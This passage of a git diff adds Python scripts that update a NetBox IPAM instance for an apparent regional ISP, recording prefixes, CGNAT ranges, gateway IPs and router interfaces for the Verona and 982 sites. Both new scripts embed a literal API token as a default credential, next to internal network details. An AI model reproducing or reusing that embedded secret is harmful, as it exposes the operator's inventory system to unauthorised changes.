|
||||||
|
|
||||||
|
# Get device
|
||||||
|
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
|
||||||
|
if device_response['count'] == 0:
|
||||||
|
print(f"Error: No device found for site '{site_name}'")
|
||||||
|
return False
|
||||||
|
|
||||||
|
device = device_response['results'][0]
|
||||||
|
device_id = device['id']
|
||||||
|
device_name = device['name']
|
||||||
|
print(f"Found device: {device_name} (ID: {device_id})\n")
|
||||||
|
|
||||||
|
# Get or create roles
|
||||||
|
role_mapping = {
|
||||||
|
'infrastructure': 'Infrastructure',
|
||||||
|
'loopback': 'Loopback',
|
||||||
|
'customer': 'Customer',
|
||||||
|
'management': 'Management'
|
||||||
|
}
|
||||||
|
|
||||||
|
if not dry_run:
|
||||||
|
print("Setting up IPAM roles...")
|
||||||
|
role_ids = {}
|
||||||
|
for key, name in role_mapping.items():
|
||||||
|
role_ids[key] = nb.get_or_create_role(name, key)
|
||||||
|
print(f" ✓ {name}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Process subnets (non-dynamic only)
|
||||||
|
static_subnets = [s for s in router_data['subnets'] if not s.get('dynamic', False)]
|
||||||
|
|
||||||
|
print(f"=== Processing {len(static_subnets)} Static Subnets ===")
|
||||||
|
|
||||||
|
prefixes_to_create = []
|
||||||
|
ips_to_create = []
|
||||||
|
|
||||||
|
for subnet in static_subnets:
|
||||||
|
address = subnet['address']
|
||||||
|
network = subnet['network']
|
||||||
|
interface = subnet['interface']
|
||||||
|
comment = subnet.get('comment', '')
|
||||||
|
|
||||||
|
# Skip PPPoE dynamic IPs
|
||||||
|
if str(interface).startswith('<pppoe-'):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Determine if it's a host IP or a subnet
|
||||||
|
if address.endswith('/32'):
|
||||||
|
# It's a host IP
|
||||||
|
role = determine_prefix_role(interface, comment)
|
||||||
|
ips_to_create.append({
|
||||||
|
'address': address,
|
||||||
|
'interface': interface,
|
||||||
|
'description': comment or f"{device_name} - {interface}",
|
||||||
|
'role': role
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
# It's a subnet
|
||||||
|
prefix_bits = address.split('/')[-1]
|
||||||
|
prefix = f"{network}/{prefix_bits}"
|
||||||
|
role = determine_prefix_role(interface, comment)
|
||||||
|
|
||||||
|
prefixes_to_create.append({
|
||||||
|
'prefix': prefix,
|
||||||
|
'interface': interface,
|
||||||
|
'description': comment or f"{site_name} - {interface}",
|
||||||
|
'role': role,
|
||||||
|
'gateway_ip': address
|
||||||
|
})
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
print("\n=== DRY RUN - Would create the following: ===\n")
|
||||||
|
|
||||||
|
print(f"Prefixes ({len(prefixes_to_create)}):")
|
||||||
|
for p in prefixes_to_create:
|
||||||
|
print(f" - {p['prefix']} ({p['role']}) - {p['description']}")
|
||||||
|
|
||||||
|
print(f"\nIP Addresses ({len(ips_to_create)}):")
|
||||||
|
for ip in ips_to_create:
|
||||||
|
print(f" - {ip['address']} ({ip['role']}) - {ip['description']}")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Create prefixes
|
||||||
|
print(f"\n=== Creating/Updating {len(prefixes_to_create)} Prefixes ===")
|
||||||
|
created_prefixes = 0
|
||||||
|
failed_prefixes = 0
|
||||||
|
|
||||||
|
for item in prefixes_to_create:
|
||||||
|
# Check if prefix already exists
|
||||||
|
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
|
||||||
|
|
||||||
|
prefix_data = {
|
||||||
|
'prefix': item['prefix'],
|
||||||
|
'site': site_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': item['description'],
|
||||||
|
'is_pool': False
|
||||||
|
}
|
||||||
|
|
||||||
|
if role_ids.get(item['role']):
|
||||||
|
prefix_data['role'] = role_ids[item['role']]
|
||||||
|
|
||||||
|
try:
|
||||||
|
if prefix_response['count'] == 0:
|
||||||
|
# Create new prefix
|
||||||
|
created_prefix = nb.post('ipam/prefixes/', prefix_data)
|
||||||
|
print(f"✓ Created prefix: {item['prefix']} - {item['description']}")
|
||||||
|
created_prefixes += 1
|
||||||
|
else:
|
||||||
|
# Update existing prefix
|
||||||
|
existing_id = prefix_response['results'][0]['id']
|
||||||
|
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
|
||||||
|
print(f"✓ Updated prefix: {item['prefix']} - {item['description']}")
|
||||||
|
created_prefixes += 1
|
||||||
|
|
||||||
|
# Create gateway IP if needed
|
||||||
|
if item.get('gateway_ip'):
|
||||||
|
gw_response = nb.get('ipam/ip-addresses/', params={'address': item['gateway_ip']})
|
||||||
|
if gw_response['count'] == 0:
|
||||||
|
gw_data = {
|
||||||
|
'address': item['gateway_ip'],
|
||||||
|
'status': 'active',
|
||||||
|
'description': f"{item['interface']} gateway - {item['description']}",
|
||||||
|
'role': 'anycast' if item['role'] == 'infrastructure' else None
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
nb.post('ipam/ip-addresses/', gw_data)
|
||||||
|
print(f" ✓ Created gateway IP: {item['gateway_ip']}")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create/update prefix {item['prefix']}: {e}")
|
||||||
|
failed_prefixes += 1
|
||||||
|
|
||||||
|
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
|
||||||
|
|
||||||
|
# Create IP addresses
|
||||||
|
print(f"\n=== Creating/Updating {len(ips_to_create)} IP Addresses ===")
|
||||||
|
created_ips = 0
|
||||||
|
failed_ips = 0
|
||||||
|
|
||||||
|
for item in ips_to_create:
|
||||||
|
# Check if IP already exists
|
||||||
|
ip_response = nb.get('ipam/ip-addresses/', params={'address': item['address']})
|
||||||
|
|
||||||
|
ip_data = {
|
||||||
|
'address': item['address'],
|
||||||
|
'status': 'active',
|
||||||
|
'description': item['description']
|
||||||
|
}
|
||||||
|
|
||||||
|
if item['role'] == 'loopback':
|
||||||
|
ip_data['role'] = 'loopback'
|
||||||
|
|
||||||
|
try:
|
||||||
|
if ip_response['count'] == 0:
|
||||||
|
# Create new IP
|
||||||
|
created_ip = nb.post('ipam/ip-addresses/', ip_data)
|
||||||
|
print(f"✓ Created IP: {item['address']} - {item['description']}")
|
||||||
|
created_ips += 1
|
||||||
|
else:
|
||||||
|
# Update existing IP
|
||||||
|
existing_id = ip_response['results'][0]['id']
|
||||||
|
updated_ip = nb.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
|
||||||
|
print(f"✓ Updated IP: {item['address']} - {item['description']}")
|
||||||
|
created_ips += 1
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create/update IP {item['address']}: {e}")
|
||||||
|
failed_ips += 1
|
||||||
|
|
||||||
|
print(f"\nIP Summary: {created_ips} successful, {failed_ips} failed")
|
||||||
|
|
||||||
|
# Create interfaces on the device
|
||||||
|
print(f"\n=== Creating Device Interfaces ===")
|
||||||
|
created_interfaces = 0
|
||||||
|
|
||||||
|
# Get unique interfaces from both subnets and active interfaces
|
||||||
|
interface_set = set()
|
||||||
|
for subnet in static_subnets:
|
||||||
|
if not str(subnet['interface']).startswith('<'):
|
||||||
|
interface_set.add(str(subnet['interface']))
|
||||||
|
|
||||||
|
for iface in router_data.get('interfaces', []):
|
||||||
|
if not str(iface['name']).startswith('<'):
|
||||||
|
interface_set.add(str(iface['name']))
|
||||||
|
|
||||||
|
for interface_name in sorted(interface_set):
|
||||||
|
# Check if interface exists
|
||||||
|
interface_response = nb.get('dcim/interfaces/', params={
|
||||||
|
'device_id': device_id,
|
||||||
|
'name': interface_name
|
||||||
|
})
|
||||||
|
|
||||||
|
if interface_response['count'] == 0:
|
||||||
|
# Determine interface type
|
||||||
|
if 'vlan' in interface_name.lower():
|
||||||
|
iface_type = 'virtual'
|
||||||
|
elif 'bridge' in interface_name.lower():
|
||||||
|
iface_type = 'bridge'
|
||||||
|
elif 'loopback' in interface_name.lower() or interface_name == 'lo':
|
||||||
|
iface_type = 'virtual'
|
||||||
|
else:
|
||||||
|
iface_type = '1000base-t' # Default to gigabit ethernet
|
||||||
|
|
||||||
|
interface_data = {
|
||||||
|
'device': device_id,
|
||||||
|
'name': interface_name,
|
||||||
|
'type': iface_type,
|
||||||
|
'enabled': True
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
created_interface = nb.post('dcim/interfaces/', interface_data)
|
||||||
|
print(f"✓ Created interface: {interface_name} ({iface_type})")
|
||||||
|
created_interfaces += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create interface {interface_name}: {e}")
|
||||||
|
|
||||||
|
print(f"\nCreated {created_interfaces} new interfaces")
|
||||||
|
|
||||||
|
print(f"\n=== Update Complete ===")
|
||||||
|
print(f"Site: {site_name}")
|
||||||
|
print(f"Device: {device_name}")
|
||||||
|
print(f"Prefixes: {created_prefixes}/{len(prefixes_to_create)}")
|
||||||
|
print(f"IPs: {created_ips}/{len(ips_to_create)}")
|
||||||
|
print(f"Interfaces: {created_interfaces}")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Update NetBox with router data from JSON file')
|
||||||
|
parser.add_argument('json_file', help='Path to router data JSON file')
|
||||||
|
parser.add_argument('site_name', help='Name of the site in NetBox')
|
||||||
|
parser.add_argument('--dry-run', action='store_true', help='Show what would be created without making changes')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Check if file exists
|
||||||
|
if not os.path.exists(args.json_file):
|
||||||
|
print(f"Error: File '{args.json_file}' not found")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
# Process the data
|
||||||
|
success = process_router_data(args.json_file, args.site_name, args.dry_run)
|
||||||
|
|
||||||
|
return 0 if success else 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
298
update_netbox_verona.py
Normal file
298
update_netbox_verona.py
Normal file
|
|
@ -0,0 +1,298 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
class NetBoxUpdater:
|
||||||
|
def __init__(self, url, token):
|
||||||
|
self.base_url = url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def post(self, endpoint, data):
|
||||||
|
"""Make POST request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.post(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error creating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def patch(self, endpoint, data):
|
||||||
|
"""Make PATCH request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.patch(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error updating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# NetBox connection
|
||||||
|
import os
|
||||||
|
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
|
||||||
|
|
||||||
|
# Router subnet data with interface mappings
|
||||||
|
router_data = [
|
||||||
|
{
|
||||||
|
'prefix': '10.250.1.24/29',
|
||||||
|
'ip': '10.250.1.25/29',
|
||||||
|
'interface': 'ether3-climax-11ghz',
|
||||||
|
'description': 'Climax 11GHz backhaul link',
|
||||||
|
'role': 'infrastructure'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '10.254.254.101/32',
|
||||||
|
'ip': '10.254.254.101/32',
|
||||||
|
'interface': 'loopback',
|
||||||
|
'description': 'Verona router loopback',
|
||||||
|
'role': 'loopback'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '100.64.0.0/22',
|
||||||
|
'ip': '100.64.3.254/22',
|
||||||
|
'interface': 'verona',
|
||||||
|
'description': 'Verona main CGNAT subnet',
|
||||||
|
'role': 'customer'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '204.110.188.224/27',
|
||||||
|
'ip': '204.110.188.254/27',
|
||||||
|
'interface': 'verona',
|
||||||
|
'description': 'Verona public IP subnet',
|
||||||
|
'role': 'customer'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '100.64.12.0/22',
|
||||||
|
'ip': '100.64.15.254/22',
|
||||||
|
'interface': 'vlan_19_ether6',
|
||||||
|
'description': 'Verona VLAN 19 CGNAT',
|
||||||
|
'role': 'customer'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '10.10.80.0/20',
|
||||||
|
'ip': '10.10.95.254/20',
|
||||||
|
'interface': 'vlan_10_ether6',
|
||||||
|
'description': 'Verona CPE management subnet 1',
|
||||||
|
'role': 'management'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '10.10.0.0/20',
|
||||||
|
'ip': '10.10.15.254/20',
|
||||||
|
'interface': 'vlan_10_ether6',
|
||||||
|
'description': 'Verona CPE management subnet 2',
|
||||||
|
'role': 'management'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '10.0.101.0/24',
|
||||||
|
'ip': '10.0.101.254/24',
|
||||||
|
'interface': 'sfp-sfpplus1-verona-tower-switch',
|
||||||
|
'description': 'Verona tower switch connection',
|
||||||
|
'role': 'infrastructure'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '10.250.1.144/29',
|
||||||
|
'ip': '10.250.1.145/29',
|
||||||
|
'interface': 'ether6-switch',
|
||||||
|
'description': 'Verona switch interconnect',
|
||||||
|
'role': 'infrastructure'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '204.110.191.0/27',
|
||||||
|
'ip': '204.110.191.30/27',
|
||||||
|
'interface': 'vlan9_sfpplus1',
|
||||||
|
'description': 'Verona VLAN 9 public subnet',
|
||||||
|
'role': 'customer'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '10.25.1.0/24',
|
||||||
|
'ip': '10.25.1.254/24',
|
||||||
|
'interface': 'ether1',
|
||||||
|
'description': 'Verona ether1 management',
|
||||||
|
'role': 'management'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'prefix': '192.168.99.0/24',
|
||||||
|
'ip': '192.168.99.254/24',
|
||||||
|
'interface': 'ether10-powerswitch',
|
||||||
|
'description': 'Verona power switch management',
|
||||||
|
'role': 'management'
|
||||||
|
}
|
||||||
|
]
|
||||||
|
|
||||||
|
# Get site ID
|
||||||
|
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
|
||||||
|
if site_response['count'] == 0:
|
||||||
|
print("Error: Verona site not found")
|
||||||
|
return
|
||||||
|
|
||||||
|
site_id = site_response['results'][0]['id']
|
||||||
|
print(f"Found Verona site with ID: {site_id}")
|
||||||
|
|
||||||
|
# Get or create prefix roles
|
||||||
|
role_mapping = {
|
||||||
|
'infrastructure': 'Infrastructure',
|
||||||
|
'loopback': 'Loopback',
|
||||||
|
'customer': 'Customer',
|
||||||
|
'management': 'Management'
|
||||||
|
}
|
||||||
|
|
||||||
|
role_ids = {}
|
||||||
|
for key, name in role_mapping.items():
|
||||||
|
role_response = nb.get('ipam/roles/', params={'name': name})
|
||||||
|
if role_response['count'] > 0:
|
||||||
|
role_ids[key] = role_response['results'][0]['id']
|
||||||
|
else:
|
||||||
|
# Create role if it doesn't exist
|
||||||
|
role_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': key
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
created_role = nb.post('ipam/roles/', role_data)
|
||||||
|
role_ids[key] = created_role['id']
|
||||||
|
print(f"Created role: {name}")
|
||||||
|
except:
|
||||||
|
print(f"Could not create role: {name}")
|
||||||
|
role_ids[key] = None
|
||||||
|
|
||||||
|
# Process each subnet
|
||||||
|
print("\n=== Creating/Updating Prefixes ===")
|
||||||
|
created_prefixes = 0
|
||||||
|
failed_prefixes = 0
|
||||||
|
|
||||||
|
for item in router_data:
|
||||||
|
# Check if prefix already exists
|
||||||
|
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
|
||||||
|
|
||||||
|
prefix_data = {
|
||||||
|
'prefix': item['prefix'],
|
||||||
|
'site': site_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': item['description'],
|
||||||
|
'is_pool': False
|
||||||
|
}
|
||||||
|
|
||||||
|
if role_ids.get(item['role']):
|
||||||
|
prefix_data['role'] = role_ids[item['role']]
|
||||||
|
|
||||||
|
try:
|
||||||
|
if prefix_response['count'] == 0:
|
||||||
|
# Create new prefix
|
||||||
|
created_prefix = nb.post('ipam/prefixes/', prefix_data)
|
||||||
|
print(f"Created prefix: {item['prefix']} - {item['description']}")
|
||||||
|
created_prefixes += 1
|
||||||
|
else:
|
||||||
|
# Update existing prefix
|
||||||
|
existing_id = prefix_response['results'][0]['id']
|
||||||
|
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
|
||||||
|
print(f"Updated prefix: {item['prefix']} - {item['description']}")
|
||||||
|
created_prefixes += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Failed to create/update prefix {item['prefix']}: {e}")
|
||||||
|
failed_prefixes += 1
|
||||||
|
|
||||||
|
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
|
||||||
|
|
||||||
|
# Update IP addresses with interface information
|
||||||
|
print("\n=== Updating IP Address Interface Assignments ===")
|
||||||
|
updated_ips = 0
|
||||||
|
failed_ips = 0
|
||||||
|
|
||||||
|
# Get the device for Verona
|
||||||
|
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
|
||||||
|
if device_response['count'] == 0:
|
||||||
|
print("Warning: No device found for Verona site")
|
||||||
|
device_id = None
|
||||||
|
else:
|
||||||
|
device_id = device_response['results'][0]['id']
|
||||||
|
device_name = device_response['results'][0]['name']
|
||||||
|
print(f"Found device: {device_name} (ID: {device_id})")
|
||||||
|
|
||||||
|
# Create a mapping of IP to interface
|
||||||
|
ip_to_interface = {item['ip']: item['interface'] for item in router_data}
|
||||||
|
ip_to_description = {item['ip']: item['description'] for item in router_data}
|
||||||
|
|
||||||
|
# Get all IPs for the site
|
||||||
|
ips_response = nb.get('ipam/ip-addresses/', params={'site_id': site_id})
|
||||||
|
|
||||||
|
for ip_obj in ips_response['results']:
|
||||||
|
ip_address = ip_obj['address']
|
||||||
|
|
||||||
|
if ip_address in ip_to_interface:
|
||||||
|
interface_name = ip_to_interface[ip_address]
|
||||||
|
description = ip_to_description[ip_address]
|
||||||
|
|
||||||
|
# Update IP with description
|
||||||
|
update_data = {
|
||||||
|
'description': f"{interface_name} - {description}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# If we have a device, try to find or create the interface
|
||||||
|
if device_id:
|
||||||
|
# Check if interface exists
|
||||||
|
interface_response = nb.get('dcim/interfaces/', params={
|
||||||
|
'device_id': device_id,
|
||||||
|
'name': interface_name
|
||||||
|
})
|
||||||
|
|
||||||
|
if interface_response['count'] == 0:
|
||||||
|
# Create interface
|
||||||
|
interface_data = {
|
||||||
|
'device': device_id,
|
||||||
|
'name': interface_name,
|
||||||
|
'type': 'virtual', # Using virtual for now
|
||||||
|
'enabled': True
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
created_interface = nb.post('dcim/interfaces/', interface_data)
|
||||||
|
interface_id = created_interface['id']
|
||||||
|
print(f"Created interface: {interface_name}")
|
||||||
|
|
||||||
|
# Assign IP to interface
|
||||||
|
update_data['assigned_object_type'] = 'dcim.interface'
|
||||||
|
update_data['assigned_object_id'] = interface_id
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Failed to create interface {interface_name}: {e}")
|
||||||
|
else:
|
||||||
|
# Use existing interface
|
||||||
|
interface_id = interface_response['results'][0]['id']
|
||||||
|
update_data['assigned_object_type'] = 'dcim.interface'
|
||||||
|
update_data['assigned_object_id'] = interface_id
|
||||||
|
|
||||||
|
# Update the IP address
|
||||||
|
try:
|
||||||
|
updated_ip = nb.patch(f"ipam/ip-addresses/{ip_obj['id']}/", update_data)
|
||||||
|
print(f"Updated IP {ip_address} with interface {interface_name}")
|
||||||
|
updated_ips += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Failed to update IP {ip_address}: {e}")
|
||||||
|
failed_ips += 1
|
||||||
|
|
||||||
|
print(f"\nIP Update Summary: {updated_ips} successful, {failed_ips} failed")
|
||||||
|
|
||||||
|
print("\n=== Update Complete ===")
|
||||||
|
print(f"Total prefixes processed: {created_prefixes + failed_prefixes}")
|
||||||
|
print(f"Total IPs processed: {updated_ips + failed_ips}")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
193
update_site_982_cgnat.py
Normal file
193
update_site_982_cgnat.py
Normal file
|
|
@ -0,0 +1,193 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Update NetBox site 982 CGNAT configuration
|
||||||
|
- Add new CGNAT prefix 100.64.48.0/20 with role "Customer"
|
||||||
|
- Add router IP 100.64.63.254/20
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# API configuration
|
||||||
|
NETBOX_URL = 'https://netbox.vntx.net/api/'
|
||||||
|
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
'Authorization': f'Token {API_TOKEN}',
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_or_create_prefix_role(name):
|
||||||
|
"""Get or create a prefix role"""
|
||||||
|
# Check if role exists
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': name})
|
||||||
|
roles = response.json()['results']
|
||||||
|
|
||||||
|
if roles:
|
||||||
|
return roles[0]['id']
|
||||||
|
|
||||||
|
# Create role if it doesn't exist
|
||||||
|
data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': name.lower().replace(' ', '-')
|
||||||
|
}
|
||||||
|
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, data=json.dumps(data))
|
||||||
|
if response.status_code == 201:
|
||||||
|
return response.json()['id']
|
||||||
|
else:
|
||||||
|
print(f"Error creating role: {response.status_code} - {response.text}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("Updating NetBox configuration for site 982...")
|
||||||
|
|
||||||
|
# Get site 982
|
||||||
|
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
|
||||||
|
sites = response.json()['results']
|
||||||
|
|
||||||
|
if not sites:
|
||||||
|
print("Error: Site 982 not found!")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
site = sites[0]
|
||||||
|
print(f"Found site: {site['name']} (ID: {site['id']})")
|
||||||
|
|
||||||
|
# Get Customer role ID
|
||||||
|
customer_role_id = get_or_create_prefix_role('Customer')
|
||||||
|
if not customer_role_id:
|
||||||
|
print("Error: Could not get/create Customer role")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 1: Check for old CGNAT prefix (100.64.32.0/22)
|
||||||
|
print("\nChecking for old CGNAT prefix 100.64.32.0/22...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.32.0/22'})
|
||||||
|
old_prefixes = response.json()['results']
|
||||||
|
|
||||||
|
for prefix in old_prefixes:
|
||||||
|
# Check if prefix belongs to site 982 (handle case where site might be None)
|
||||||
|
prefix_site = prefix.get('site')
|
||||||
|
if prefix_site and prefix_site['id'] == site['id']:
|
||||||
|
print(f"Found old CGNAT prefix: {prefix['prefix']} (ID: {prefix['id']})")
|
||||||
|
# Delete old prefix
|
||||||
|
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
|
||||||
|
if response.status_code == 204:
|
||||||
|
print("Successfully deleted old CGNAT prefix")
|
||||||
|
else:
|
||||||
|
print(f"Error deleting old prefix: {response.status_code}")
|
||||||
|
|
||||||
|
# Step 2: Add new CGNAT prefix (100.64.48.0/20)
|
||||||
|
print("\nAdding new CGNAT prefix 100.64.48.0/20...")
|
||||||
|
prefix_data = {
|
||||||
|
'prefix': '100.64.48.0/20',
|
||||||
|
'site': site['id'],
|
||||||
|
'role': customer_role_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': 'CGNAT subnet',
|
||||||
|
'tags': []
|
||||||
|
}
|
||||||
|
|
||||||
|
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, data=json.dumps(prefix_data))
|
||||||
|
if response.status_code == 201:
|
||||||
|
new_prefix = response.json()
|
||||||
|
print(f"Successfully created prefix: {new_prefix['prefix']} (ID: {new_prefix['id']})")
|
||||||
|
else:
|
||||||
|
print(f"Error creating prefix: {response.status_code} - {response.text}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 3: Get the router device
|
||||||
|
print("\nFinding 982-router...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router'})
|
||||||
|
devices = response.json()['results']
|
||||||
|
|
||||||
|
if not devices:
|
||||||
|
print("Error: 982-router not found!")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
device = devices[0]
|
||||||
|
print(f"Found device: {device['name']} (ID: {device['id']})")
|
||||||
|
|
||||||
|
# Step 4: Find or create CGNAT interface
|
||||||
|
print("\nChecking for CGNAT interface...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device['id'], 'name': 'cgnat'})
|
||||||
|
interfaces = response.json()['results']
|
||||||
|
|
||||||
|
if interfaces:
|
||||||
|
interface = interfaces[0]
|
||||||
|
print(f"Found existing CGNAT interface (ID: {interface['id']})")
|
||||||
|
else:
|
||||||
|
# Create CGNAT interface
|
||||||
|
print("Creating CGNAT interface...")
|
||||||
|
interface_data = {
|
||||||
|
'device': device['id'],
|
||||||
|
'name': 'cgnat',
|
||||||
|
'type': 'virtual',
|
||||||
|
'enabled': True
|
||||||
|
}
|
||||||
|
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, data=json.dumps(interface_data))
|
||||||
|
if response.status_code == 201:
|
||||||
|
interface = response.json()
|
||||||
|
print(f"Created CGNAT interface (ID: {interface['id']})")
|
||||||
|
else:
|
||||||
|
print(f"Error creating interface: {response.status_code} - {response.text}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 5: Check for old IP address and remove it
|
||||||
|
print("\nChecking for old IP address 100.64.35.254/22...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': '100.64.35.254/22'})
|
||||||
|
old_ips = response.json()['results']
|
||||||
|
|
||||||
|
for ip in old_ips:
|
||||||
|
if ip['assigned_object'] and ip['assigned_object_type'] == 'dcim.interface':
|
||||||
|
if ip['assigned_object']['device']['id'] == device['id']:
|
||||||
|
print(f"Found old IP: {ip['address']} (ID: {ip['id']})")
|
||||||
|
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
|
||||||
|
if response.status_code == 204:
|
||||||
|
print("Successfully deleted old IP address")
|
||||||
|
else:
|
||||||
|
print(f"Error deleting old IP: {response.status_code}")
|
||||||
|
|
||||||
|
# Step 6: Add new IP address (100.64.63.254/20)
|
||||||
|
print("\nAdding new IP address 100.64.63.254/20...")
|
||||||
|
ip_data = {
|
||||||
|
'address': '100.64.63.254/20',
|
||||||
|
'assigned_object_type': 'dcim.interface',
|
||||||
|
'assigned_object_id': interface['id'],
|
||||||
|
'status': 'active',
|
||||||
|
'description': 'CGNAT gateway'
|
||||||
|
}
|
||||||
|
|
||||||
|
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, data=json.dumps(ip_data))
|
||||||
|
if response.status_code == 201:
|
||||||
|
new_ip = response.json()
|
||||||
|
print(f"Successfully created IP address: {new_ip['address']} (ID: {new_ip['id']})")
|
||||||
|
else:
|
||||||
|
print(f"Error creating IP address: {response.status_code} - {response.text}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 7: Verify the changes
|
||||||
|
print("\n=== Verification ===")
|
||||||
|
|
||||||
|
# Check prefixes
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'site_id': site['id']})
|
||||||
|
prefixes = response.json()['results']
|
||||||
|
|
||||||
|
